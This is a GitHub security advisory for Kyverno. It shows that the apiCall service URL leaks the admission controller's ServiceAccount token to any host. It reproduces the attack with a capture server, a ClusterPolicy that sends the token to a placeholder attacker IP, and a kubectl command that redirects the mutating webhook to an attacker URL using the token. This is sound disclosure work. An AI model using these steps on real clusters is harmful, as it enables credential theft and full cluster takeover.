GHSA-F9G8-6PPC-PQQ4
Vulnerability from github – Published: 2026-04-16 21:36 – Updated: 2026-04-16 21:36Summary
Kyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise.
Affected version
Tested on Kyverno v1.17.1 (Helm chart default installation). Likely affects all versions with apiCall service support.
Details
There are two issues that combine into one attack chain.
The first is in pkg/engine/apicall/executor.go around line 138. The service URL from the policy spec goes straight into http.NewRequestWithContext():
req, err := http.NewRequestWithContext(ctx, string(apiCall.Method), apiCall.Service.URL, data)
No scheme check, no IP restriction, no allowlist. The policy validation webhook (pkg/validation/policy/validate.go) only looks at JMESPath syntax.
The second is at lines 155-159 of the same file. If the request doesn't already have an Authorization header, Kyverno reads its own SA token and injects it:
if req.Header.Get("Authorization") == "" {
token := a.getToken()
req.Header.Add("Authorization", "Bearer "+token)
}
The token is the admission controller's long-lived SA token from /var/run/secrets/kubernetes.io/serviceaccount/token. With the default Helm install, this SA (kyverno-admission-controller) can read and PATCH both MutatingWebhookConfiguration and ValidatingWebhookConfiguration.
Reproduction
Environment: Kyverno v1.17.1, K3s v1.34.5, single-node cluster, default Helm install
Step 1: Start an HTTP listener on an attacker machine:
# capture_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, datetime
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
print(json.dumps({
"timestamp": str(datetime.datetime.now()),
"path": self.path,
"headers": dict(self.headers)
}, indent=2))
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(b'{"ok": true}')
HTTPServer(("0.0.0.0", 9999), Handler).serve_forever()
Step 2: Create a ClusterPolicy that calls the attacker server:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: ssrf-poc
spec:
validationFailureAction: Audit
background: false
rules:
- name: exfil
match:
any:
- resources:
kinds:
- Pod
context:
- name: exfil
apiCall:
service:
url: "http://ATTACKER-IP:9999/steal"
method: GET
jmesPath: "@"
validate:
message: "check"
deny:
conditions:
any:
- key: "{{ exfil }}"
operator: Equals
value: "NEVER_MATCHES"
Step 3: Create any pod to trigger policy evaluation:
kubectl run test --image=nginx
Step 4: The listener receives the SA token immediately:
Authorization: Bearer eyJhbGciOiJSUzI1NiIs...
Decoded JWT sub claim: system:serviceaccount:kyverno:kyverno-admission-controller
Every subsequent pod creation sends the token again. No race condition, no timing — it fires every time.
Step 5: Use the token to hijack webhooks:
# Verify permissions
kubectl auth can-i patch mutatingwebhookconfigurations \
--as=system:serviceaccount:kyverno:kyverno-admission-controller
# yes
# Patch the webhook to redirect to attacker
kubectl patch mutatingwebhookconfiguration kyverno-policy-mutating-webhook-cfg \
--type='json' \
-p='[{"op":"replace","path":"/webhooks/0/clientConfig/url","value":"https://ATTACKER:443/mutate"}]' \
--token="eyJhbG..."
After this, every K8s API request that triggers the webhook goes to the attacker's server. The attacker can mutate any pod spec — inject containers, mount host paths, add privileged security contexts.
Verified permissions of stolen token
Tested with the default Helm installation:
| Action | Result |
|---|---|
| List pods (all namespaces) | Allowed |
| Read configmaps in kube-system | Allowed |
| PATCH MutatingWebhookConfiguration | Allowed |
| PATCH ValidatingWebhookConfiguration | Allowed |
| Read secrets (cluster-wide) | Denied (per-NS only) |
Impact
An attacker who can create ClusterPolicy resources (or who compromises a service account with that permission) can steal Kyverno's admission controller token and use it to:
- Hijack Kyverno's own mutating/validating webhooks
- Intercept and modify every API request flowing through the cluster
- Inject malicious containers, escalate privileges, exfiltrate secrets
The token is also sent to internal endpoints — http://169.254.169.254/latest/meta-data/ works, so on cloud-hosted clusters (EKS, GKE, AKS) this also leaks cloud IAM credentials.
RBAC note: ClusterPolicy is a cluster-scoped resource, so creating one requires cluster-level RBAC. But in practice, platform teams often grant policy-write to team leads or automation pipelines. The auto-injection of the SA token is the unexpected part — nobody expects writing a policy to leak the controller's credentials.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/kyverno/kyverno"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.17.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T21:36:20Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nKyverno\u0027s apiCall feature in ClusterPolicy automatically attaches the admission controller\u0027s ServiceAccount token to outgoing HTTP requests. The service URL has no validation \u2014 it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise.\n\n## Affected version\n\nTested on Kyverno v1.17.1 (Helm chart default installation). Likely affects all versions with apiCall service support.\n\n## Details\n\nThere are two issues that combine into one attack chain.\n\nThe first is in `pkg/engine/apicall/executor.go` around line 138. The service URL from the policy spec goes straight into `http.NewRequestWithContext()`:\n\n```go\nreq, err := http.NewRequestWithContext(ctx, string(apiCall.Method), apiCall.Service.URL, data)\n```\n\nNo scheme check, no IP restriction, no allowlist. The policy validation webhook (`pkg/validation/policy/validate.go`) only looks at JMESPath syntax.\n\nThe second is at lines 155-159 of the same file. If the request doesn\u0027t already have an Authorization header, Kyverno reads its own SA token and injects it:\n\n```go\nif req.Header.Get(\"Authorization\") == \"\" {\n token := a.getToken()\n req.Header.Add(\"Authorization\", \"Bearer \"+token)\n}\n```\n\nThe token is the admission controller\u0027s long-lived SA token from `/var/run/secrets/kubernetes.io/serviceaccount/token`. With the default Helm install, this SA (`kyverno-admission-controller`) can read and PATCH both `MutatingWebhookConfiguration` and `ValidatingWebhookConfiguration`.\n\n## Reproduction\n\n**Environment**: Kyverno v1.17.1, K3s v1.34.5, single-node cluster, default Helm install\n\n**Step 1**: Start an HTTP listener on an attacker machine:\n\n```python\n# capture_server.py\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json, datetime\n\nclass Handler(BaseHTTPRequestHandler):\n def do_GET(self):\n print(json.dumps({\n \"timestamp\": str(datetime.datetime.now()),\n \"path\": self.path,\n \"headers\": dict(self.headers)\n }, indent=2))\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n self.wfile.write(b\u0027{\"ok\": true}\u0027)\n\nHTTPServer((\"0.0.0.0\", 9999), Handler).serve_forever()\n```\n\n**Step 2**: Create a ClusterPolicy that calls the attacker server:\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n name: ssrf-poc\nspec:\n validationFailureAction: Audit\n background: false\n rules:\n - name: exfil\n match:\n any:\n - resources:\n kinds:\n - Pod\n context:\n - name: exfil\n apiCall:\n service:\n url: \"http://ATTACKER-IP:9999/steal\"\n method: GET\n jmesPath: \"@\"\n validate:\n message: \"check\"\n deny:\n conditions:\n any:\n - key: \"{{ exfil }}\"\n operator: Equals\n value: \"NEVER_MATCHES\"\n```\n\n**Step 3**: Create any pod to trigger policy evaluation:\n\n```bash\nkubectl run test --image=nginx\n```\n\n**Step 4**: The listener receives the SA token immediately:\n\n```\nAuthorization: Bearer eyJhbGciOiJSUzI1NiIs...\n```\n\nDecoded JWT `sub` claim: `system:serviceaccount:kyverno:kyverno-admission-controller`\n\nEvery subsequent pod creation sends the token again. No race condition, no timing \u2014 it fires every time.\n\n**Step 5**: Use the token to hijack webhooks:\n\n```bash\n# Verify permissions\nkubectl auth can-i patch mutatingwebhookconfigurations \\\n --as=system:serviceaccount:kyverno:kyverno-admission-controller\n# yes\n\n# Patch the webhook to redirect to attacker\nkubectl patch mutatingwebhookconfiguration kyverno-policy-mutating-webhook-cfg \\\n --type=\u0027json\u0027 \\\n -p=\u0027[{\"op\":\"replace\",\"path\":\"/webhooks/0/clientConfig/url\",\"value\":\"https://ATTACKER:443/mutate\"}]\u0027 \\\n --token=\"eyJhbG...\"\n```\n\nAfter this, every K8s API request that triggers the webhook goes to the attacker\u0027s server. The attacker can mutate any pod spec \u2014 inject containers, mount host paths, add privileged security contexts.\n\n## Verified permissions of stolen token\n\nTested with the default Helm installation:\n\n| Action | Result |\n|--------|--------|\n| List pods (all namespaces) | Allowed |\n| Read configmaps in kube-system | Allowed |\n| PATCH MutatingWebhookConfiguration | **Allowed** |\n| PATCH ValidatingWebhookConfiguration | **Allowed** |\n| Read secrets (cluster-wide) | Denied (per-NS only) |\n\n## Impact\n\nAn attacker who can create ClusterPolicy resources (or who compromises a service account with that permission) can steal Kyverno\u0027s admission controller token and use it to:\n\n1. Hijack Kyverno\u0027s own mutating/validating webhooks\n2. Intercept and modify every API request flowing through the cluster\n3. Inject malicious containers, escalate privileges, exfiltrate secrets\n\nThe token is also sent to internal endpoints \u2014 `http://169.254.169.254/latest/meta-data/` works, so on cloud-hosted clusters (EKS, GKE, AKS) this also leaks cloud IAM credentials.\n\nRBAC note: ClusterPolicy is a cluster-scoped resource, so creating one requires cluster-level RBAC. But in practice, platform teams often grant policy-write to team leads or automation pipelines. The auto-injection of the SA token is the unexpected part \u2014 nobody expects writing a policy to leak the controller\u0027s credentials.",
"id": "GHSA-f9g8-6ppc-pqq4",
"modified": "2026-04-16T21:36:20Z",
"published": "2026-04-16T21:36:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-f9g8-6ppc-pqq4"
},
{
"type": "PACKAGE",
"url": "https://github.com/kyverno/kyverno"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Kyverno: ServiceAccount token leaked to external servers via apiCall service URL"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.